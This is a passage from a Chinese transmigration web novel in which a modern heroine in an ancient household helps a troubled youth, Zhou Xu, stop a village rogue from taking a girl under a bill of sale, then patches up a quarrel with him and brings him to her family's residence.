大婶婶请来的闺塾师每日上午给她们讲讲诗词歌赋,学学弹琴刺绣,正常就和请的家教一样。
只是学一些女戒内训,侍奉公婆,夫死不嫁的节烈三观时,江媛就有抵触情绪了。
她学习能力强,基本教的她都能轻松掌握,甚至举一反三。
她也总算明白了,在古代为何讲究门当户对,为何富贵人家的小姐叫贵女了。
在这样的封建时代里,教育是被垄断的,大家族里花费心思去培养出来的女子大部分也会流向大家族做正妻,毕竟没有谁会把自己偌大的家业交给一个大字不识,不会管账,上不了台面的女子。
江媛每天上午学习,下午去看周序,日日都要送些吃食去,有了母亲打点,大舅舅撑腰,那何庄头自然也不敢造次。
虽周序被安排到里一个破落的无人小院里,但好歹衣食不愁了。
她其实很想问周序愿不愿意跟她回董府,总比窝在那一个破房子里强。
但她知道,一旦开了口,那她与他现在处境的悬差对比,也会被拉到阳光下来,将周序藏起来的自卑全部撕开,晒在众人眼前。
她一直觉得自己时学霸,可看见周序做事情后,她才理解为什么人们要在学霸之上造一个词叫:“学神。”
江媛曾经看过这样一个视频,一个家长抱怨说他孩子除了学习不好,玩游戏肯定能中状元。
后来有个专家跳出来打他的脸,说他想太多了,学神就是学神,不管是打游戏还是任何花样比赛,学神都会稳居前排,因为他们有强大的领悟力、学习力、理解力。
这两天她跟在周旭后面,看他喂鸡,看他捡鸡蛋,包括他磨豆子做豆浆豆腐,砍柴烧火......
听小满与临轩说,全村就周序手上这几只鸡生的蛋最多,也是他磨的豆浆最香浓,这事江媛承认,真的很香,每天她都能来喝满满一大碗。
一开始,她印象里的周序是心狠手辣,满心算计的,没成想,她天天看着周序扫鸡屎、腌鸭蛋,晒豆子,撸起袖子擦汗时。
竟有种强烈的人夫感,感觉他就像古代人里最典型的童养夫。
江媛一想到这里立马甩甩头告诫自己,腐归腐,底线要有啊!
日复一日的生活就这样过着,转眼来到了六七月,高温伴着梅雨天,让江媛觉得那里都湿臭的。
她一到木渡就在院子里看医书,听雨声,也懒得跟周序下田,弄的脚上五百斤泥巴。
只是偶尔天好,搭着周序的船,顶上帷帽遮得严严实实防好晒,跟着他泛舟河上。
江南水多,人杰地灵,小河通向太湖,木渡村有些村民除了种田,还会捕鱼养蟹,他们会在这个季节用网绳拉出一块水域来养殖螃蟹,等到了秋天蟹肥了送去主家,给夫人小姐们享用,多出来的也能换些钱。
他们顺着河,进了湖,沿岸后走了几步。
忽见蟹塘里一个穿着蓝色土布短上衣和灰包裤的十岁小丫头正在水里撒食,瞧见周序来了,便挥手大声喊:“执言哥哥!”
高兴的撑起竹篙将小船划了过来。
江媛忽然有种家中少年成器了一般的感觉,捂嘴逗趣他:“你还交上朋友了,居然有人叫你小字,真稀奇。”
周序本与她并肩走着,听见她调侃,一时不知如何回答,脚步都落了几拍,他忙跟上,语气试探:“你不喜欢。”
江媛见他突然认真起来,怕他开不起玩笑,忙解释:“没有,没有,我就是开开玩笑。”
周序道:“若你不喜欢,我让文妹叫我序大哥就行,若你不在意,以后你也可以叫我小字。”
呵...呵...
叫你个杀人不眨眼的大魔头的小字,这种突然的亲昵,在这暑热下能把江媛的牙齿冻掉下来。
正聊着,那个文妹跳着跑来了,小丫头皮肤黝黑,土土的却笑道灿烂,瞧着江媛天真问道:“
执言哥哥,这是哪家的姐姐,生的这样好看。”
这小嘴甜的,江媛很喜欢。
江媛抢过周序话头故意拉调子:“我是你执...言哥哥的好朋友,你叫我洛洛姐姐就好啦!”
“洛洛姐姐好,我叫文妹!”
小丫头俏皮笑着:“今天父母兄长去交粮了,我一早喊了哥哥来帮我撒蟹食,我力气小,一个多时辰才撒了一袋,还有三袋呢。”
江媛看着一旁堆着的大布袋子,一个顶半人高,惊讶的问:“刚刚你自己一个人撒了一袋吗?”
“对啊!”
江媛沉默了,这家人心得有多大,放一个十岁的孩子独自来水里撑船......
周序知道要撑筏子,穿了一身干练素衣,但江媛是从家中来的,纱裙碍事,腰上还配了叮叮当当的装饰。
周序拎出一个小包给文妹:“这是你洛洛姐姐带来的点心,你还没吃饭吧,先垫垫。”
小点心哪个小女孩谁能抵抗得了!
文妹立马歪着头,开心道:“谢谢洛洛姐姐,这些点心精巧,我见都没见过。”
周序说完就去撑船了,江媛瞧着好玩也想跟上,她从没在水域生活过,忘记了船灰晃悠,一脚蹬上去的时候,差点将江媛甩下湖。
还好,周序顺势一拉,将她扶稳了。
经此一吓,江媛脸红心跳的坐在船头,半天没安定,刚刚周序扶她腰的那块地方总觉得热热的。
周序见她好似被吓到了,寻了个话头:“今日太阳毒,我让文妹给你送个帽子来!”
文妹是个机灵的,飞身去草屋拿来了一顶草帽:“哥哥,接住。”
周序在船上微微跳起去接,身型一点没歪,稳稳接住啦,帮她带在头上,她不自然的偏头,周序手一顿,忙撤回,沉声道:“坐好了。”
风暖,云淡,周序撑船,她帮忙撒食,感觉没多久,三袋子就喂
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完了。
他们喂好食,停船靠岸,却见蟹塘旁的小路一个男子往这里走来。
周序定睛一瞧,神色不悦,低声和江媛道:“二流子,村里好吃懒做出名的,等会他不管和你说什么,你都不要理睬。”
江媛点头:“好。 ”
那男子吊儿郎当的眯着眼睛讪笑,身后还跟着两个跟班,他走近,看了周序一眼,又看向江媛脸色变了变,像是戒备,立刻转换笑脸:“江家小姐吧,久仰大名。”
周序侧身挡住他扫视来的目光。
二流子不在意又转向文妹道:“文妹子,今早叔叔得了一块枣泥糕,放在家里舍不得吃,你要不要跟叔叔去拿,正好带给你母亲尝尝。”
这样一套人贩子的惯用说辞,在反诈意识极高的江媛耳里,立马就听出了不对劲。
她看着那傻妹妹快要心动了,赶紧道:“文妹你爱吃枣泥糕呀,偏巧我今日也带了枣泥糕,还有桃酥饼,核桃酥呢,本来是给你执言哥哥的,既然妹妹爱吃,晚些都打包回去,我明日再多带些来。”
文妹一听,注意力立马跟上她节奏。
二流子不高兴,眼珠子一转看似不打算放弃,露出大黄牙卖力笑着,从腰间解下一个玉佩给文妹:“文妹,你瞧这个玉佩好看不,你要是喜欢,叔叔带你去买,正巧你不是快过生了,当叔叔送你的礼。”
要死了,贼心不死啊这是,这个人肯定有目的。
不好的念头闪过江媛的脑海,可她又不敢确定,这样的场景,一个中老年糟老头,一个如花似玉的小姑娘,糟老头问:“你吃棒棒糖吗,我带你去买?”
多熟悉的教材案例,活脱脱上演了。
一般他们骗走小孩,如果是男孩子就给别人做儿子,要么被人嘎腰子,如果是女孩子......那什么样的下场都有,甚至不可描述。
古代的腰子不值钱,那么真相就只有一个......大概率卖进窑子。
田里没什么人,大家都去交粮去了,要是二流子带了帮手,他们几个还真不一定能打得过。
正如熟人偷窃狗不叫,小女孩对二流子这样熟悉的邻居也天生没啥戒备,看见这样好的玉佩自然欣喜,当真以为这人是好心,伸手就要去接。
周序飞快的伸出手一把抢了下来,随意憋了一眼,将玉佩又重新扔给二流子不屑道:“哪里来的破石头,也好意思拿过来唬小孩,这玩意儿去趟金陵,随便找个土堆铲一把,冒出来的石头哪个不比你这个好看。”
“说道玉石,你应该问问我身边的这位董知府的亲外甥女,她二舅舅可是漕运的董大当家的,来往大江南北,吐蕃十三部,什么样的好玉没见过,你也敢在这里显摆。”
嗯......亮出她的身份确实是震慑二流子的一个好办法.
但是他仗着她装13还炫富,那她......居然还有点小骄傲怎么回事,这蹭蹭冒出来的虚荣是哪里来的啊,她不是这样的人啊!
她见小女孩崇拜的看向她,她立马接话,自信满满道:“执言哥哥说的对,下次姐姐送你一个真货色。”
周序看着她,嘴角不可察觉的轻扬。
眼见拐孩子计划失败,二流子也不笑了,脸色转换之快变得凶恶压着声音道:“江小姐有多少宝贝,怎么不赏些给我们玩玩。”
9. 生吞契纸 及时帮忙
周序盯着他,身体不自觉前倾做出护着江媛的架势。
江媛冷笑回答说:“宝贝可多,不就是几个破玉佩吗,你想要多少都行,直接去苏州府衙的库房领去呗,你就往那门口坐,厚着脸皮讨要,说不定我大舅舅就给你了呢!”
“你逗我呐!”
这话显然是激怒了二流子,就连周序都以为他肯定要生气动手了,却没想到二流子往后一退:“今日村口收粮,村里大半的人都去了,这些蟹塘又偏远,你们几个就算死这里也没人知道是谁干的,但大爷我今日心情不错,想留你们一条活口,你们最好让开,我把文丫头带走,这事儿作罢。”
江媛觉得他说的有道理,毕竟没有监控的年代,他们死在这荒郊野岭,在顺便被扔到湖里,就算她大舅舅包拯转世,想必抓个凶手也挺难的。
两个汉子在不远处看过来,江媛生怕周序松口,赶紧握住他的手腕,看向他的眼神里露出哀求,微微摇了一下头。
本还镇定的周序再看见江媛的暗示后,脸色微妙的变了一下,像是错愕。
说实话,她本能做这个动作也没多想,可在周序看来是她的不信任。
周序心下微震,原来在江媛眼里,他就这样不值得她信任?
江媛不知道周序敏感多疑的心思,只当周序有些害怕。
毕竟从她的角度看,对于一个千古罪人,且在历史上两次背叛君主的人,她实在没有把握认为周序会因为一个与他不相干的女孩子,挺身而出,甚至冒生命危险。
周序拨开她手,带着气音,认真又不愿意承认的样子,问她:“江媛,你在害怕?怕我会信他威胁,贪生怕死,文将妹交他手上,全然不顾你的生死?”
他怎么大庭广众之下把她xia心思说出来了,还叫了她的大名,还好像真的生气了......
江媛也意识到了自己刚刚那些动作确实多余,但她真的不是故意的啊!!!
回想周序的一生,确实一直被欺负,被冤枉,被误解,唯一疼自己的母亲为了护他长大,与平妻斗智斗勇,劳累病死。
自小活的战战兢兢,身边的人都想他死,童年的创伤一直得不到关心治愈,时间长了,被那些恶人磨的失去理智才变得书里说的那般心狠手辣吧。
她能感觉到,这些天的相处,让原本对着这个世界失望的周序终于放松接纳了一些,她又偏偏在这个时候掉链子,怀疑他的人品,她真该死啊!
二流子看着眼前的少年根本不把他放在眼里,气的推他一把,狠声道:“你们在干嘛,我再说文妹的事,你俩现在闹什么矛盾,快滚一边去,老子动起手来,怕是你两在后悔就来不及了,”
他从袖口里抽出短刀,在他们面前扬了扬。
躲在周序身后的文妹小小的个子冒了出来,江媛看她小小身躯在颤抖,却还像个大人似的说道:“我跟你走就是了,你别为难执言哥哥和洛洛姐姐。”
二流子力气大,又生的孔武有力的样子,嘿嘿奸笑,一把扯过文妹,周序反应去抓时,文妹已经被二流子拉过去了。
周序凶狠的看着二流子:“放开文妹,否则你前脚走,我后脚就报官抓你,你的家人还在村子里,你就不怕文妹的父母找你麻烦。”
哈哈哈啊哈,可笑,真是幼稚的小鸡崽子,你去说啊,去报官啊,你以为我i怕啊
江媛实在看不下去啦:“你个人牙子,到底在骄傲什么,你哪里来的底气这么猖狂,我也学学呢。”
二流子揪着文妹的领子:“你就是说破天去,官府也不敢抓我,你们猜时为什么?”
他不紧不慢的从胸口掏出一张纸来,快速的在周序面前抖了抖:“周公子,少折腾些吧,这小丫头你这么紧巴巴的护着有什么用,你能越过人家父母嘛,卖身契懂不懂,哈哈哈哈哈哈哈......”
乌鸦一般的笑声,刺耳又难听。
文妹听了一脸不敢相信,她想去抓那张纸,喊着:“你在胡说什么,我阿娘怎么可能卖我!”
周序不作声,可垂下隐在袖子里的手,已经捏的僵硬。
他对人性的底线从不感到意外,卖女儿这种事在乡间常见到,你对着任何一个穷苦的劳动人民说,他不会有任何同情表情,甚至感到理解。
在这样封建又重香火的牢笼里,女孩子嘛,要不嫁人捞上一笔,要不卖去扬州做瘦马捞上一笔,反正是要捞上一笔。
可这样的事,周序或许不见怪了,但江媛一个接受过男女平等的现世人,你让她眼睁睁看着一个小女孩子随便当作商品一样售卖,甚至买卖前后都不把女孩子当做人。
她,能忍?!!!!
这种臭人饭子,拉倒她那里有命活其次,最先就要被大家正义的口水喷死。
想当年她勇敢报名妇联志愿者,少说帮助了小几十个贫困户的女孩子能正常上学,有个还特别争气的成了高考理科状元,据说在什么保密单位,收过几封她的感谢信,就断了联系了。
现在,文妹已经不是没学上的问题了,是她要遭受非人的折磨啊!
她,能忍?!!!!(再一次呐喊)
虽然她来这里的最主要目的是帮扶周序,但是路见不平,拔刀相助,不向恶势力低头的模范行为,不是正好给我男主立一个榜样嘛!
如此正能量,说不定不仅解救来=了文妹,还能顺便加点好感度和形象分呢!
她趁文妹还在伤心,二流子还在得意的时候,一把抢过那个破纸,不有分说捏成一团往嘴巴里塞。
使出吃奶的劲儿嚼嚼嚼,咽咽咽,最后她实在咽不下去了,喉管范上来的恶心让她受不住,蹲在地上疯狂:“呕呕呕!”
天杀的,电视剧不都是这么演的嘛,吃掉,毁尸灭迹,很轻松的消灭证据,为什么......呕,这么干啊!
她实在难受,抓着周序的衣服啊啊啊的胡喊:“周序,快救救我,我要噎死了,咳咳咳,腰呛死了。”
慌的周序连忙弯下腰帮她拍背,背部沉重的震动,让她舒缓了些。
“力气大点,再用力点!”
终于顺了气,抬眼却见那二流子脸部绷的铁青,突然举起巴掌就要来打江媛,身后那两个跟班也立马过来帮忙。
“周序小心!”
江媛蹲在地上看着巴掌过来,却被弯着腰的周序起身一把截住。
“嘎哒!”
下一秒,气势汹汹的二流子就和他一样蹲在地上嗷嗷乱叫了。
周序一出手,那招式快准狠真还挺唬人的,吓的那两个小跟班停立马停下扑过来的动作。
“敖哟!”
大家上一秒还在看半蹲的二流子啊啊啊哦哦哦的唱戏,下一秒人就不见了,再搜寻,那二流子捂着肚子,在五米开外了。
在小弟面前出了丑,那二流子哪能做罢,气急败坏的大吼:“愣着等你娘生孩子呢!上啊!”
反应过来的跟班挥拳就要揍周序,两个成年男子在力量和身高上就占了先天优势,周序有些拳脚功夫功夫傍身,一对一还能有来有回几下,眼看左右两边同时被人围剿,纵使武学奇才也难免分身乏术。
周序躲避,反击,被那两个跟班偷袭了好几次,还有一拳打在了他的鼻梁上,
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鼻血瞬间涌来出来。
狠人就是狠人,随意一抹糊了半边脸的血,咬着牙拼尽全力反抗,终于力竭后也不认输,抱着其中一个倒霉蛋,死死咬着他耳朵。
那被咬的,嗷嗷半天,声音传出二里地。
江媛好几次想去帮忙,又不知道怎么插进战局,万一成了他的累赘,事情岂不是变得更加糟糕。
突然小桶“叮”的及时出现。
系统:【宿主您好,检测到书中主角正在遭受攻击,这等紧急关头是您伸手相助,雪中送炭的好机会,请及时把握。如需系统帮助请说‘1’,若选择冷眼旁观请说‘2’。】
哪个正常人会在这样的关头冷眼旁观啊!
“1!1!1!重要的事情说三遍,我不是孬种!”
系统:【指令已接收,为您提供道具‘一块能砸死人的石头’,消费积分20,当前所剩积分130,请再接再厉哟!】
江媛左看看,右看看,果然眼前莫名其妙多了一块百科全书一般大的石头,她搬起来,看着两个汉子正在控制扭动的周序时,她瞅准时机,给了正在按周序双脚的跟班就是一闷响!
那人欲转身看看什么情况,身子没转一半,哐当栽了下去,此刻举着石块的江媛胆战心惊,生怕自己力气没收住,砸出个人命。
周序反应更快,接过江媛手里的石头砸向扑过来的另一人,拉着她,牵过文妹就往船上跨。
二流子与他同伙追来的时候,周序已经一竹篙将船推离了岸边。
剩下岸上的人叽哇乱叫,脸色青青白白,二流子大喊:“臭小子,你跑不了的,等董家的小娘子一走,老子抓了文妹,再找人办了你!”
江媛听到岸上的人类似这种,你放学后给我等着的种话,心中不免担心起来。
文妹也是后怕,人小小的眼红红的,她手还在颤抖,心绪不宁的看着岸上的方向,直到看不见人影后,她才呆呆的出生:“执言哥哥,真的是我爹娘要将我卖掉的吗?”
周序的眉头就没松下下来过,听她一问更紧了,回身看文妹时眼神里有不忍。
他道:“我应该安慰你,告诉你这件事没你想的那样糟糕,全是二流子诓骗你,可是我做不到,因为你洛洛姐姐吃进去的那张纸,你父母签字画押的卖身契,白纸黑字卖的人是你。”
他说完侧过脸,一竿子一竿子的划船。
江媛看着文妹有些震惊和害怕的神情,心里有些不忍。
她知道他在想什么,父母之爱是与生俱来,可这世界上就是有不爱孩子的父母,甚至还有伤害孩子的父母。
江媛此刻应该宽慰文妹,告诉她世界很美好,没有她想的那么糟糕,重新打起精神才是。
可是说一句话不过几秒的事,可她却要接受自己从众叛亲离到被推进深渊,何止她一两句话就能改变的事呢。
到了庄子,江媛让文妹先别回家,可是文妹不愿,她说她想问清楚,让自己死了心。
即使知道文妹回家可能会遇到危险,但这种干预别人意志的事情,江媛实在是不擅长,她想劝,又不知如何开口。
这时系统又在脑子里开口了。
【恭喜宿主完成“雪中送炭”但任务,因您的及时相助,主角好感度加+1,积分+50,现在数值为:好感度11,积分180,请再接再厉哟。】
经此一遭,居然结果喜人。
她取下腰间一枚白玉苏绣兰花香囊交给文妹,嘱咐道:“防人之心不可无,你若真遇到危险,就拿着它去董府找我,可明白。”
文妹捏紧香囊,郑重的点点头。
10. 推心置腹 心中微澜
帷帽忘记带了,一路上西山太阳还是刺眼,江洛洛以手遮面免得被光刺出眼泪花。
原本一直在她身后的周序,突然脚步加快,迈到了她前方,十几岁的少年身形不算伟岸,却也笼下一片阴影。
江洛洛自是明白他的用意,一路默默跟在他身后。
回到小破院时,小满与临轩正忙着剥黄豆粒,两个人一边拌嘴,一边干活,白瓷碗里已经满满放不下了。
以往这个时候江洛洛差不多也要走了,所以小满拍拍手,收拾了一下,就等自家小姐吩咐了。
她左等右等,看着自己小姐踢踢脚边的鸡,扯扯院子里人高的桂树叶,鸡被她踢的跑的老远,树下一片零碎的树叶尸体。
最后见江洛洛一屁股坐在石凳上。
小满问出声:“小姐,咱们什么时候回府?”
江洛洛看着一回来就在厨房忙活的周序,故意提高音量道:“今日就在这里吃晚饭吧,我瞧着黄豆挺新鲜的。”
小满真是无语自家小姐了,这话说的多新鲜啊,这个时节,哪里的黄豆不新鲜。
江洛洛又道:“有什么就烧什么吧,我不嫌弃,清粥一碗。”
小满是知道了,她家小姐这是赖着不走了。
于是搓搓手,又重新坐回临轩旁边,二人相视一眼,嘴子撇,继续手不停的剥黄豆。
看着一早出去还开开心心的二人,现在也不说话的气氛,不知道他俩发生了什么。
临轩感觉自家公子好似有些不开心,但他家公子正常都没什么开心事,不开心才是正常的,也不知从何问起。
江洛洛知道,周序从上岸就一声不吭肯定还是因为她那不信任的举动,虽她当时只是眼神哀求,话未明说,但是伤到周序心了。
高敏人群真是难哄!江洛洛很想吐槽!
她本想着算了,又怕周序会一直憋在心里,不如留下吃个晚饭,把说开了好。
她坐在院中等着,片刻,周序才从厨房里出来,脸上没什么表情,嘴上应道:
“你要在这吃就别吃黄豆了,晚上难消食,水桶里还有两条鱼,晚上就鱼汤面凑合吧。”
“临轩,杀鱼!”
身为侯府嫡子,周序一身生存的本事,早就颠覆了她对古代高门嫡子衣来伸手饭来张口的刻板印象。
江洛洛看着起锅煮鱼的周序,有些心酸。
还没走上歪路时,他能吃苦,能忍耐,也正义,也乖巧,毫无对权利的争抢之心,也没有对穷苦的不屑之意。
她实在不能理解为何偌大一个平南侯府就容不下他,就算他占了袭爵的名额,又何苦把周序逼到杀父弑母的地步。
汤面端上桌的时候,江洛洛招呼一旁坐着的小满和临轩一道吃。
二人先是推辞,但架不住江洛洛一拍筷子的命令,暂且端了两个碗盛了些又退回到一旁去。
周序盛着面,道:“江小姐早些吃完早些回去吧,梅雨季,阵雨说来就来,要是不巧,碰上一阵,身上淋的湿漉漉的也是麻烦。”
江洛洛在石桌上干饭不应他,院子里,四人八只鸡,都在沉默。
安静的有些诡异。
大家肚子里都有小心思,但却没有一个人先打破僵局。
论忍功,显然江洛洛早修炼不够。
她哧溜吃完,将碗往前一推,肚子的话纠结了一下,看了一眼还在慢慢吃饭的周序,呼出一口气,道:
“今日在蟹塘,因我年纪最大,又一直把你当作弟弟看待,是以我首先想着是要保护你和文妹,所以并未把你当做一个危急情况下可信任的战友,这是我的不对。”
“后来我发现,在出现问题时,你处理的比我更好,也比我更有原则,我才知你不是我眼中那个软弱的周家弟弟,你平常不屑抗争只是懒得同那些烂人计较罢了。”
“我像你保证,下次若再有这样的事,我交付后背,不会再对你质疑。”
江洛洛说完这些交心带着歉意的话,有些紧张地咬了咬下嘴唇,她觉得自己一番话,言语组组织的并不完美,但她相信周序一定是听懂了。
边上那两小只就那样眨巴着眼听着,顺带江洛洛也有些愁蹙。
三个人,目光都移向周序,等他回话。
良久,周序本还严肃的脸,在放下碗筷的同时,“噗”的一声笑出来,他看着江洛洛:
“算了,不过是件小事,你何必如此认真的向我解释,我哪有你想的那么小心眼?”
其实他根本也没生多大气,比这还冤枉的污糟事他遇到太多太多,早就将苦水吞的没味道了,这又算什么。
江洛洛对他本能的不信任,根本也没错,他们原本就不算太熟悉,又怎么可能因为这几天的相处就变成过命的好友。
只是他瞧着江洛洛总是拿眼看他,又不敢出声,在院子里招树踢鸡的样子有些好笑,便装作不说话,看看她的反应而已。
只是没想到,她这么认真的和自己道歉。
瞧着周序像是真不生气的样子,江洛洛心里才轻松了一些,忽而她俏皮的笑起来,无比认真道:“这才不是小事。”
周序听她这样说,神情微微一愣。
江洛洛道:“被误会就是被误会了,你一定受了委屈,凭谁心里都会不舒服道,我们是一道的,你并未做错事,而我却先是质疑你可能背叛文妹,就是我的不对啊。”
“既然是我让你委屈憋闷的,那我就是罪魁祸首,所以我自然要向你道歉,也要改变,这是对你最起码的尊重。”
周序喃喃:“尊重?”
江洛洛重重“嗯”了一声,:“对,尊重。”
周序不在意道:“尊重是留给那些有权有势之人的,像我这样......”
他双手一摊,无奈的笑着,眼神看了看周围,示意他此刻可笑的处境。
“尊重于我不可触摸,你说我拿什么让别人来尊重我?”
他这思想有很严重的问题,江洛洛急了,仰头反问他:“你为什么一定要拿的出东西,才能让别人尊重你呢,这是一句病话!”
“你值得被尊重,是因为你是周序,仅此而已。”
“换个说法,难道庄口的大黄狗无权无势就应该被随意打骂,欺负凌辱吗?难道文妹生在她那样的家庭,就应该被人当做物件随意买卖,然后接受被安排的命运吗?”
“不是这样的,周序。”
“任何人和物都需要被尊重,无关他有钱有势,是人是兽。”
“如果你觉得自己没有得到尊重,那这不是你的问题,而是不尊重你的人,他们有很大的问题,他们才是恶人,我们应该反抗,哪怕你一无所有,赤条条的来,都应该向那些欺辱我们的人说:不要欺负我,不要冤枉我。”
江洛洛自顾自的说着,情绪越说
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越高昂,可能对面是周序,她明白周序的前生,也知道周序的遭遇。
她想说给他听,想用自己的语言告诉他,不要忍,对那些恶人,不要忍!
不要让那些委屈压在心里,久而久之滋生出邪恶的花,错的恶的是那些人,我们不要把自己也变得面目全非。
江洛洛看着沉默的周序,字字句句道:“周序,你应该站在阳光之下,挥舞长剑,策马扬鞭,将那些黑暗中的魑魅魍魉全部消灭,以后做个保家卫国,救死扶伤的大将军。”
江洛洛说的这番话,句句真情实意。
和周序相处这么久以来,她看到了周序的生活态度。
他受到委屈,习惯沉默,他受到怀疑,习惯隐忍。
可一个十四岁的少年不应该是这样,应该热烈张扬,受到冤枉时为自己高声的呐喊,受到怀疑时大声的反驳。
周序很久没有听见过别人这样和他说话了,今日与他推心置腹的人,还曾是他一度想要避其锐气的江大小姐。
他自小受尽欺负,分到他院子里的东西从来是最差的,家中偶有长辈赏赐,一旦自己二弟喜欢,总会被继母想办法要走。
他也反抗过,可最后那些他喜欢的,都会莫名消失。
他们那些人,宁可把东西丢掉,也不愿意看他拥有。
后来,他也不争了,争之无用只会遭来二弟和继母更加不折手段的报复。
自打七岁,他母亲走后,整个周家,无一人关心自己,更无一人愿意为他出头,他早就不期待依仗,也不愿开始一段新的交际了。
但不知为何,今日他心中有一团微小的火苗在慢慢燃烧,这股无名火暖的胸膛再不像以往空落落的。
他在发怔,直到江洛洛轻推他,他才回过神。
“周执言,可以吗!”
他下意识点头,回了句:“好!”
“果真!”
他听着江洛洛大声的欢呼,甚至在院中蹦跶起来,有些不理解。
临轩见他傻傻的,忙跑来确认:“公子,你真要跟江小姐回董府去?
什么?他刚刚听见的是江洛洛让他学会反抗的话啊,怎么成了跟她回董府了。
好像他刚刚发呆的时候,她是一直在问,愿不愿意跟她回去。
他刚想拒绝,可看见江洛洛一脸开心的样子,回绝的话又难在说出口了。
江洛洛让小满收好食篮,笑道:“母亲早就让我劝你回董府了,但看你不愿,我一直也没好找个由头开口,这下好了,你跟我回去,我也放心,万一二流子再来找你麻烦,你一个人也难对付他。”
江洛洛顾不得他不理解的神情,继续:“母亲已经书信让爹爹和平南侯打过招呼了,你无需觉得为难,正巧董府有书塾,你也好去蹭蹭学,下午我再陪你来木渡干活就是。”
周序有些受宠若惊,他没想到,江夫人替他打了招呼,还安排了学堂。
他很早启蒙,可母亲走后,他继母何氏就辞了他老师,他很久没有听过学了。
他看着江洛洛,耳根一红,憋在心里很久的话小声吐了出来:“谢谢了。”
去庄口的路上,江洛洛笑着,眉飞色舞的给他讲她这几日在江南遇到的人和事。
哪里像个大家小姐,哪里像个长他三岁的姐姐。
还有......
他跟她回去,她就这么开心吗?
11. 忙不见人 淋雨风寒
当晚周序便随着江洛洛回了董府,江夫人见了自是欣喜,因她大舅二舅都不在,便由董母作主,在家中书塾添了个名额。
戚氏原也与周序亲母相熟,得知他是苏氏之子,当晚同家中妇人也来凑着热闹瞧瞧人。
她见了周序翩翩小君子的模样,看着他与其母七分肖似得脸庞,原要感慨,被江夫人一个眼神提醒,才打散了回忆旧事,欢喜起来。
她道:“序哥儿,既到了婶婶家,千万别拘着,有任何事都叫下人去做,在不行和媛姐儿说,可明白。”
周序躬身点头,不卑不亢道:“是。”
戚氏忙喊张贵去前厅安排一处落脚处,江洛洛没多想,拦住道:“张叔,不用这么麻烦,我们院子里西边三间厢房不是还空着,那里让李嬷嬷收拾一下就可住人了。”
闻言,周序先是脸色一僵,张叔看着江洛洛,又看看戚氏等着发话。
她母亲笑道:“还当小时候呢,姑娘家没个规矩。”
李嬷嬷道:“三进院属内宅,是妇人们的居所,怎好叫序哥儿委居,这于理不合。”
戚氏看明白了江洛洛的无心,忙笑道:“怕是媛姐儿贪玩,怕找序哥儿不方便,这样吧张叔,二院里书塾的对门屋子你收拾下,那里两间打通了的,收拾个客房出来也宽敞。”
江洛洛去过那间屋子,那书塾原对门开间是董绸办公的,两间一通,里间放了床榻,外间还搁置了一张两米宽的大理石案桌。
一应衣柜,屏风,花草摆设俱全,像个成文的屋子,虽布局简单,但巧在符合男子利落风气。
江洛洛住的水榭阁与二院的东角门相连,她如果想找周序那跨两步也就到了,想着离这么近,有什么事她好及时知道,也默默不吭声了。
倒是董春琳知晓她们的关系,将她这番举动收在眼里,时不时来她房中好奇的问东问西。
把周序的身世经历扒干净后,不由得同情起来,此后她总调侃二人定下娃娃亲的事,都被江洛洛便喝住。
有一回小姑娘口无遮拦的,江洛洛板了脸色,董春琳便捂着嘴巴发誓再也不逗她了,才作罢。
董府男子书塾与女子闺塾不同,书塾有文武学两位老师,因此周序住进董府有段时日了,她并不曾与他打过几回照面。
武学老师来的早,大多公鸡打鸣就操练了。
江洛洛保持现世人的习惯,早八晚十的,基本太阳洒满院子了,她才懒洋洋的起来。
江洛洛一开始倒是早起偷偷去小武场看过他好几次,但发现周序那认真扎马步,一副求知若渴的专注时,害得江洛洛都不忍打扰。
等他下了学,又要赶着去学堂念书,待到他们吃中饭,江洛洛这边又要准备念闺塾了,在等江洛洛下学,周序又下乡干他那农活去了。
作为前世今生都如此专心搞事业的狠人,周序那认准事就不变的倔犟性子,江洛洛真的是被佩服。
搁到现实,怕是这个人就纯念书,也能念到他自己专业的泰斗级别。
这个人一天到晚也不带休息的,书念完让小厮送他回木渡庄,将自己没干的农活干完,晚间等城门要落锁了,他才赶回来。
一般这个时候,江洛洛已经在与周公会面了。
虽然见不到周序,但临轩偶会交给小满一罐蜂蜜或一束田间野花,说是他家公子在路上碰见便买了摘了留下。
看着梳妆台上的青汝裂冰纹瓷瓶里插着的小白野花内心无比感动。
毕竟这样一个鸡打鸣就上学,下午还要去田里干农活,晚上回来就要休息的人,还能想着给她买蜂蜜摘野花,当真是心中感动。
她虽身负救赎反派的职责,但印象里的大恶人周序,每每身上散发出来的人间温情时,她总有一种老母亲的成就感。
所以她不厌其烦的感慨,前世的他变得腹黑残忍,到底是经历了什么?!
对继母还那样残忍的折磨,像是发泄积攒在心中数十年的怨气。
日子忙忙碌碌,约过了十来日总算盼得了休息时间,江洛洛赶早去找周序,生怕他又下乡去。
所以天将亮,她早早起床梳妆,就小跑进东角门,去了周序门口敲门。
里面黑黑的,窗户也没开,江洛洛以为自己又没赶上的时候,临轩揉着眼睛开了门。
这主仆二人怎么回事,不应该啊。
“江小姐,您怎么来了。”临轩=一脸惊讶,还有疲惫。
江洛洛觉得不对劲,问道:“你家公子呢,我来找他。”
临轩支支吾吾,江洛洛伸脖子往里瞧,里面隔帘被撩起,屋内窗幔还遮着,显得里面黑幽幽的。
里间床塌好像睡着人,被子盖的紧紧的。
周序向来起得比鸡早睡得比狗晚,今日赖床不是他的作风啊。
再一瞧,临轩满脸焦急之色,立马猜到了什么!
她瞧着临轩为难的神情,柔声关切地问道:“临轩,怎么回事?你家公子难得起这么晚,是不是生病了。”
屋里的人应该被门口的动静扰醒了,不禁咳嗽了两声,撑床起来朝这边扯嗓子道:“临轩,可是江小姐来了。”
临轩回:“是了。”
见那边在撑坐,立马过去急道:“公子可要起身。”
里边周序的声音更是焦急,一句带三喘,咳声道:“快,别让江小姐进来,我这受了风寒,屋子里有病气,别叫染上了才好。”
这话一说,身为中医专业的江洛洛哪还能折回去,忙大力推了门急步进来。
周序一听有脚步声,心急之下,咳嗽更重,捂住自己忍不住的胸口,往床榻里面缩了缩。
他声音已然嘶哑:“江小姐快离远些,这病气重,恐污了小姐。”
他这话说的让人心疼,江洛洛忙推临轩道:“快快去找张贵叔请大夫,都咳成这样了,还说没事,真当是铁打的。”
临轩得了话,忙赶了出去。
她也顾不得周序一直往榻里缩,走近他,身子往前倾,本能的用手背探了他的额头。
周序见她俯身过来,她身上特有的此时节的栀子花熏香扑面而来。
眼见着江洛洛呼过来的手
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贴上他的额头,他整个人像个被掐住脖子的癞蛤蟆,只能干瞪眼,一动不敢动。
